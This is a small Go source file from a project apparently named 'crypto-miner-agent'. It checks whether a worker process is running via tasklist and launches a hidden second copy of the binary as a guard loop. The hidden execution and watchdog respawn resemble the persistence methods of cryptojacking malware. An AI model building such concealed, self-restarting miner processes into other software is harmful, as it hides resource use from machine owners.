Files
AetherForge/agent/deploy/guard_windows.go

27 lines
605 B
Go

//go:build windows
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
func workerProcessRunning(imageName string) bool {
out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
if err != nil {
return false
}
return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
}
// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
func launchProcessGuard(cfg config.RuntimeConfig) {
binPath, err := InstalledBinaryPath(cfg)
if err != nil {
return
}
_ = HiddenStart(binPath, guardFlag)
}